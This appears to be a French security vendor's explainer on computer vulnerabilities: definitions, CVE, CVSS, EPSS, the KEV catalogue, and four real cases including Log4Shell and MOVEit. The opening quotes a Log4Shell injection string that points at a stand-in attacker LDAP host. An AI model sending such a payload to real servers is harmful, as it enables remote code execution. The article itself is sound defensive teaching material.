Vulnérabilité informatique : définition, exemples, CVE et
CVSS expliqués

Une vulnérabilité informatique est, par définition, une faiblesse d'un système qu'une menace peut exploiter pour en compromettre la confidentialité, l'intégrité ou la disponibilité. Voilà pour la phrase de manuel. Concrètement, le 10 décembre 2021, n'importe qui pouvait envoyer la chaîne ${jndi:ldap://attaquant/x} dans un champ de formulaire, un en-tête HTTP ou un pseudo de jeu vidéo, et obtenir l'exécution de son propre code Java sur le serveur qui se contentait d'écrire cette chaîne dans un fichier de log. La bibliothèque s'appelait Log4j, la faille CVE-2021-44228, et son score de gravité était de 10 sur 10.

Cet exemple contient déjà tout ce que le mot recouvre : un défaut de conception dans un composant que personne ne regardait, un identifiant public, un score, des versions touchées et corrigées, et une exploitation de masse presque immédiate. Chacune de ces notions a son vocabulaire, et il est plus précis que l'usage courant ne le laisse croire.

Vulnérabilité informatique : définition officielle et ce qu'elle ne dit pas

La définition de référence est celle de la norme ISO/IEC 27000, le vocabulaire commun de la famille ISO 27001 : une vulnérabilité est une faiblesse d'un actif ou d'une mesure de sécurité qui peut être exploitée par une ou plusieurs menaces. Le mot "faiblesse" désigne un état, qui existe que quelqu'un l'exploite ou non. La formule "actif ou mesure de sécurité" range le pare-feu mal configuré au même rayon que le bug dans une application, ce qui surprend les développeurs et arrange les auditeurs. Et la mention des menaces rappelle que sans quelque chose ou quelqu'un pour en tirer parti, la faiblesse reste une curiosité de laboratoire.

L'ANSSI retient une formulation plus courte dans son glossaire : "faille de sécurité pouvant affecter un logiciel, un système d'information ou encore un composant matériel". Le NIST, de son côté, précise dans FIPS 200 que la faiblesse peut se loger "dans un système d'information, dans les procédures de sécurité, dans les contrôles internes ou dans une implémentation". Cette dernière liste est la plus utile en pratique, parce qu'elle rappelle qu'une part des vulnérabilités qu'on rencontre en audit n'est pas dans le code : elle est dans une procédure d'onboarding qui distribue des droits d'administration par défaut, ou dans un runbook qui n'a jamais prévu la révocation d'un compte.

Aucune de ces définitions n'attribue de gravité à la faiblesse elle-même, et c'est là que le vocabulaire se met à compter. Un dépassement de tampon sur une machine hors réseau et le même dépassement sur un concentrateur VPN exposé à Internet sont deux instances du même défaut, avec deux niveaux de risque sans rapport entre eux.

Vulnérabilité, menace, risque, exploit, exposition : cinq mots qu'on confond

Les rapports d'audit, les fiches produit et les articles de presse emploient ces cinq termes comme des synonymes. Ils ne le sont pas, et la confusion coûte cher au moment de prioriser : c'est elle qui fait corriger en urgence une faille critique sur un serveur de test pendant qu'une faille moyenne sur le portail client attend depuis six mois.

La vulnérabilité seule ne produit rien : il faut qu'une menace la rencontre, donc que l'actif lui soit exposé. C'est ce triangle que réduit une équipe sécurité quand elle retire un service d'Internet sans avoir encore le correctif.

Le terme "exploit" mérite qu'on s'y arrête, parce qu'il glisse facilement. Au sens strict, c'est le programme ou la séquence de requêtes qui tire parti d'une vulnérabilité. Une faille publiée sans exploit connu et la même faille avec un exploit public sur GitHub ne posent pas le même problème à un défenseur, et les scores décrits plus bas tentent de capturer cet écart.

Les familles de vulnérabilités informatiques

On peut classer les vulnérabilités par technique d'attaque, comme le fait la base CWE (Common Weakness Enumeration) de MITRE, ou par origine du défaut. La seconde grille est plus parlante pour décider qui doit corriger : un développeur, un administrateur, un architecte ou les ressources humaines.

Les vulnérabilités de code sont les plus documentées, parce qu'elles ont un identifiant, un correctif et un éditeur responsable. Les injections restent la catégorie A05:2025 de l'OWASP Top 10, et MOVEit rappelle qu'une injection SQL dans un produit commercial mature vaut toujours une exfiltration massive en 2023. La désérialisation, elle, est la famille retenue pour Log4Shell par l'enregistrement CVE d'Apache : l'application reconstruisait un objet à partir d'une donnée qu'elle n'aurait jamais dû traiter comme du code.

Les vulnérabilités de configuration n'ont en général pas de CVE, et c'est leur piège : un bucket de stockage ouvert au monde n'a pas d'identifiant, puisque le logiciel fonctionne comme prévu. Les vulnérabilités de conception sont celles qu'un pentest trouve et qu'un outil rate, parce qu'il faut comprendre ce que l'application est censée faire pour voir qu'on peut lui faire faire autre chose. Quant aux vulnérabilités humaines, le vocabulaire les range à part, mais la définition ISO les couvre sans réserve : une procédure est une mesure de sécurité, et une procédure contournable est une faiblesse.

Zero-day et n-day : la même faille à deux moments

Une faille zero-day est exploitée avant que l'éditeur n'ait publié un correctif. Une n-day est la même faille, n jours après la publication du correctif, sur les systèmes qui ne l'ont pas appliqué. Ce qui les sépare tient donc au calendrier de la course entre le défenseur et l'attaquant, et cette course commence souvent bien avant le coup de sifflet : Citrix Bleed a été exploitée à partir de la fin août 2023 alors que le bulletin de Citrix date du 10 octobre. Pendant six semaines, il n'existait ni bulletin, ni score, ni correctif, seulement des sessions VPN volées.

Le cycle de vie d'une CVE : de la découverte au catalogue KEV

Une vulnérabilité découverte devient une vulnérabilité connue quand elle reçoit un identifiant CVE. Le format est fixé par le schéma du programme CVE : la chaîne CVE, l'année, puis un numéro de séquence de quatre à dix-neuf chiffres. L'attribution est déléguée à un réseau de CNA (CVE Numbering Authorities), le plus souvent les éditeurs eux-mêmes : Log4Shell a été numérotée par la CNA Apache, regreSSHion par Red Hat, Citrix Bleed par Citrix, et MOVEit par MITRE directement. Chaque CNA réserve un identifiant dès le signalement, puis le publie quand le correctif est prêt ou que l'embargo tombe. Pour Log4Shell, la réservation date du 26 novembre 2021 et la publication du 10 décembre : deux semaines pendant lesquelles la faille avait un numéro que personne ne pouvait lire.

La publication n'est que le milieu du parcours. Le NIST reprend l'enregistrement dans sa base NVD et l'enrichit : un score CVSS calculé par ses analystes, une ou plusieurs catégories CWE, et la liste des produits et versions touchés au format CPE, celle que votre scanner compare à vos bannières. Pour Log4Shell, cette liste compte près de quatre cents entrées. Il arrive que le NIST ne soit pas d'accord avec l'éditeur : Citrix a noté Citrix Bleed 9,4, la NVD 7,5, parce que les analystes du NIST n'ont retenu qu'un impact en confidentialité là où Citrix comptait aussi l'intégrité et, faiblement, la disponibilité. Un outil qui n'affiche qu'un des deux vecteurs vous cache un désaccord d'experts.

CVSS, EPSS, KEV : trois lectures d'une même vulnérabilité

Le score CVSS répond à la question "à quel point cette faille est-elle grave si elle est exploitée". Il combine huit métriques de base, du vecteur d'attaque (réseau, adjacent, local, physique) à l'impact sur la confidentialité, l'intégrité et la disponibilité, et produit une note de 0 à 10 lue en cinq paliers : faible jusqu'à 3,9, moyen jusqu'à 6,9, élevé jusqu'à 8,9, critique au-delà. La version 3.1 reste celle qu'on lit dans la plupart des bases. La version 4.0, publiée en novembre 2023, remplace les métriques temporelles par un groupe "Threat" et nomme explicitement ses combinaisons (CVSS-B, CVSS-BT, CVSS-BE, CVSS-BTE) pour qu'on ne confonde plus un score de base avec un score contextualisé. Le guide d'utilisation de v4.0 est sans ambiguïté : le score de base mesure une gravité et ne doit pas servir seul à évaluer un risque. Le détail du calcul, vecteur par vecteur, est dans l'article sur le score CVSS.

EPSS (Exploit Prediction Scoring System) répond à une autre question : "quelle est la probabilité que cette faille soit exploitée dans les trente prochains jours". C'est un modèle statistique publié par le FIRST, recalculé quotidiennement, qui produit une probabilité entre 0 et 1 et un percentile. Il ne regarde pas la gravité : une faille critique sur un produit confidentiel peut avoir un EPSS dérisoire, et une faille moyenne sur un produit très répandu un EPSS élevé.

Le catalogue KEV (Known Exploited Vulnerabilities) de la CISA répond enfin à la question la plus concrète : "cette faille est-elle exploitée pour de vrai, en ce moment". Trois conditions pour y entrer : un identifiant CVE, une preuve fiable d'exploitation active (les scans et les preuves de concept ne comptent pas), et une action de remédiation disponible. Créé par la directive BOD 22-01 du 3 novembre 2021, remplacée par la BOD 26-04 du 10 juin 2026, il compte un peu plus de 1 700 entrées au moment de la rédaction (septembre 2026). C'est peu, rapporté au volume de CVE publiées chaque année, et c'est justement ce qui en fait une liste de priorités exploitable.

La dernière ligne est la plus instructive. regreSSHion a un score de gravité élevé, un EPSS parmi les plus hauts du corpus, et n'est toujours pas au catalogue KEV plus de deux ans après sa publication : la CISA n'a pas retenu de preuve d'exploitation active, et la condition de course sur laquelle la faille repose demande des heures de tentatives. Les trois systèmes mesurent trois choses différentes. Trier ses correctifs sur le seul CVSS revient à ignorer les deux autres, et l'article sur le patch management explique pourquoi c'est une mauvaise politique.

Quatre vulnérabilités informatiques réelles, datées

Log4Shell, CVE-2021-44228 : la ligne de log qui exécute du code

Signalée à Apache par Chen Zhaojun, de l'équipe sécurité d'Alibaba Cloud, réservée le 26 novembre 2021, publiée le 10 décembre. Les versions 2.0-beta9 à 2.14.1 de Log4j 2 interprétaient les motifs ${jndi:...} présents dans les messages de log et allaient chercher un objet Java sur le serveur LDAP indiqué. L'enregistrement CVE déposé par la CNA Apache retient trois faiblesses, la désérialisation de données non fiables (CWE-502), la validation d'entrée insuffisante (CWE-20) et la consommation de ressources non maîtrisée (CWE-400), là où les analystes du NIST ont ajouté l'injection d'expression (CWE-917) : aucune de ces lectures n'est fausse, c'est un défaut de conception exprimé par une injection. Le correctif 2.15.0 s'est révélé incomplet, d'où CVE-2021-45046 et la version 2.16.0 quelques jours plus tard. La CISA l'a inscrite au catalogue KEV le jour même de la publication.

MOVEit Transfer, CVE-2023-34362 : l'injection SQL industrialisée

Une injection SQL non authentifiée dans l'application web d'un produit de transfert de fichiers sécurisé, exploitée par le groupe CL0P à partir du 27 mai 2023, soit avant toute publication. L'exploit déposait un web shell baptisé LEMURLOOT qui énumérait la base, récupérait les fichiers et créait des comptes administrateur. CVE réservée et publiée le 2 juin, inscrite au KEV le même jour, score 9,8. Le cas illustre une faiblesse de code des plus classiques, CWE-89, dans un produit dont le métier était précisément de protéger des fichiers.

Citrix Bleed, CVE-2023-4966 : la lecture mémoire qui vole des sessions

Un dépassement de lecture dans NetScaler ADC et Gateway configurés en VPN ou en serveur d'authentification. La requête renvoyait un morceau de mémoire du processus, et ce morceau contenait des jetons de session valides. D'après Mandiant, l'exploitation a commencé fin août 2023, six semaines avant le bulletin du 10 octobre, et les sessions volées restaient utilisables après l'application du correctif tant qu'on ne les avait pas terminées à la main. C'est le cas d'école de l'écart entre "vulnérabilité corrigée" et "risque traité" : le patch fermait la faiblesse, pas la menace déjà installée. Inscription au KEV le 18 octobre 2023.

regreSSHion, CVE-2024-6387 : la faille corrigée en 2006 et revenue en 2020

Une condition de course dans le gestionnaire de signaux du serveur OpenSSH, déclenchable sans authentification, qui permet en théorie l'exécution de code en root sur les systèmes Linux basés sur glibc. Le défaut avait été corrigé en 2006 sous le numéro CVE-2006-5051, puis réintroduit par accident dans la version 8.5p1 en octobre 2020, jusqu'à la 9.7p1 incluse. Publiée le 1er juillet 2024 par la CNA Red Hat, corrigée dans la 9.8p1. Qualys, qui l'a découverte, comptait plus de quatorze millions d'instances OpenSSH potentiellement vulnérables exposées à Internet, tout en précisant que l'exploitation exigeait de nombreuses tentatives pour contourner l'ASLR. Score 8,1, avec une complexité d'attaque notée haute. Une régression est une famille de vulnérabilité à part entière, et l'une des plus sournoises : le code avait déjà été audité, corrigé et oublié.

Comment on découvre une vulnérabilité

Les quatre cas ci-dessus ont été trouvés par quatre voies différentes : un chercheur d'un fournisseur cloud, un groupe criminel, des attaquants restés anonymes pendant six semaines, une équipe de recherche commerciale. Côté défenseur, trois voies, qui ne trouvent pas les mêmes choses.

Le scan de vulnérabilités compare ce qu'il observe (versions, bannières, réponses à des requêtes types) à une base de signatures. Il trouve vite et à grande échelle les vulnérabilités connues, celles qui ont une CVE et un CPE, ainsi qu'une partie des défauts de configuration. Il rate les défauts de conception et produit des faux positifs dès qu'un correctif rétroporté masque le numéro de version réel. Le pentest part du point de vue de l'attaquant : il enchaîne, il contourne, il lit la logique métier, et il prouve l'exploitabilité au lieu de la supposer. C'est, avec le bug bounty, la voie qui trouve les vulnérabilités de conception : il faut un humain qui comprenne le métier. Le bug bounty, enfin, ouvre la recherche à des chercheurs payés au résultat : efficace sur un périmètre déjà durci, très bruyant sur un périmètre qui ne l'est pas. Les différences entre ces approches sont détaillées dans l'article qui compare pentest, scan de vulnérabilité et EASM.

Comment on la traite : la gestion des vulnérabilités

La discipline qui va de la découverte à la fermeture du ticket s'appelle la gestion des vulnérabilités, et son goulot d'étranglement n'est presque jamais la détection. Dans la plupart des organisations, les constats arrivent plus vite que les équipes ne peuvent les corriger. Tout le travail consiste donc à décider dans quel ordre, avec les trois lectures décrites plus haut et une quatrième que les bases publiques ne connaissent pas : votre exposition.

La première étape est celle qu'on saute le plus souvent, et elle conditionne toutes les autres. Quand Log4Shell est tombée, la seule question utile était "où est Log4j chez nous", et la réponse a pris des semaines dans des organisations qui n'avaient jamais listé les bibliothèques de leurs applications ni les services qu'elles exposaient. Un EASM répond à la moitié externe de cette question en continu : il reconstruit ce que votre organisation publie sur Internet, versions comprises, et le recoupe avec les CVE, le catalogue KEV et EPSS sans attendre le prochain scan planifié. La moitié interne relève de l'inventaire logiciel, et la preuve d'exploitabilité d'un pentest web qui vérifie, sur vos applications, que la faille du rapport en est une.

À retenir

• Une vulnérabilité est un état : une faiblesse d'un actif ou d'une mesure de sécurité, exploitable par une menace (ISO/IEC 27000). Elle existe avant toute attaque.
• Le risque exige trois choses : la vulnérabilité, une menace qui dispose d'un exploit, et une exposition qui les met en contact. On peut réduire le risque sans corriger la faille, en coupant l'exposition.
• Quatre origines : code (injection, XSS, désérialisation), configuration (souvent sans CVE), conception (invisible aux scanners), humain et procédure. Zero-day et n-day ne distinguent qu'un calendrier.
• La CVE n'est qu'un identifiant. La NVD ajoute le CVSS (gravité), le FIRST calcule EPSS (probabilité sous 30 jours), la CISA tient le KEV (exploitation prouvée). Trois questions, trois réponses.
• Les cas réels contredisent le tri par CVSS : Citrix Bleed notée 7,5 par la NVD a volé des sessions pendant six semaines avant son bulletin ; regreSSHion notée 8,1 n'est toujours pas au KEV.
• Le goulot, c'est l'inventaire. On ne corrige pas une faille sur un actif dont on ignore l'existence, et on la corrige trop tard sur un actif dont on ignore l'exposition.

Une définition ne protège rien par elle-même. Ce qui compte, c'est de savoir lesquelles des vulnérabilités publiées cette semaine touchent un service que votre organisation expose aujourd'hui. La surveillance de surface d'attaque externe d'own2pwn tient cet inventaire en continu, et un pentest vient ensuite établir, sur les failles retenues, ce qu'un attaquant en tirerait.

Questions fréquentes sur la définition d'une vulnérabilité informatique